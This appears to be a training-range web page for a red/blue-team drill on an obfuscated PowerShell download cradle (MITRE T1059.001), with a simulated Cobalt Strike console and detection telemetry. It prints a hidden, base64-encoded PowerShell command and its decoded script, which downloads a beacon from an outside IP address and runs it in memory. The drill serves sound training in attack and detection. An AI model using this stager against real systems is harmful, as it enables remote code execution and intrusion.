DAY #20 (TODAY'S RANGE)// DUAL-MODE ATTACK & DEFEND RANGE
NEXT:19:35:46
Malware Analysis & ObfuscationMITRE T1059.001Tier 1: Junior Analyst
Obfuscated PowerShell Download Cradle
Defender for Endpoint captured a short-lived hidden PowerShell process spawned by MS Word with an encoded payload.
DUAL-PERSPECTIVE SCORECARD
0 DAY STREAK
0
Red Exploits
0
Blue Hunts
0
Purple Master
0
Engaged
OFFENSIVE STAGING DECK // MITRE T1059.001
PowerShell In-Memory Download CradleADVERSARY OBJECTIVETACTIC: TA0002 // Execution
Deliver memory-only download cradle reaching out to staging IP 185.220.101.5 to execute secondary beacon.
STAGING EXECUTION COMMAND
powershell -nop -w hidden -enc JAB1ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACIAYQBIAFIwY0Rvdkx6RTROUzR5TWpBdU1UQXhMalV2WW1WaFkyOXVMakJ6TVFBPT0iKQApADsA
RAW PAYLOAD SCRIPT
$u = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("aHR0cDovLzE4NS4yMjAuMTAxLjUvYmVhY29uLnBzMQ=="));
$wc = New-Object System.Net.WebClient;
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
IEX ($wc.DownloadString($u))TARGET: WIN-JUMP-01 (10.10.20.5)
TELEMETRY BRIDGE PIPELINEAWAITING ATTACK
In Red Team Mode, executing your exploit vector sends real-time anomalous events to the victim endpoint’s EDR forwarder.
FORWARDER HOOK: PowerShell Script Block Log Event ID 4104 & Sysmon Event ID 3 (Network Connect)
VICTIM INGEST: Sysmon / Event 4688 / EDR Agent
DETECTION SIGNATURE: MITRE ATT&CK T1059.001
STATUS: AWAITING EXPLOITATION STAGE
Click 'FIRE ATTACK VECTOR' or type fire in the terminal below to generate the target log.
C2 FRAMEWORK: Cobalt Strike 4.9EXPLOIT ID: drill-002
cobalt-strike@c2-teamserver:~/stagers$ // C2 OFFENSIVE TERMINAL
[!] RED TEAM OFFENSIVE ENGAGEMENT // C2 OPERATOR STAGING CONSOLE
[*] TARGET HOST: WIN-JUMP-01 (10.10.20.5) | C2 PROTOCOL: Cobalt Strike 4.9
[*] OBJECTIVE: Deliver memory-only download cradle reaching out to staging IP 185.220.101.5 to execute secondary beacon.
Type 'fire' or 'deploy' to execute payload, or run staging commands directly. Type 'help' for command manual.
QUICK ACTIONS:
TARGET #20 OF 18 AVAILABLE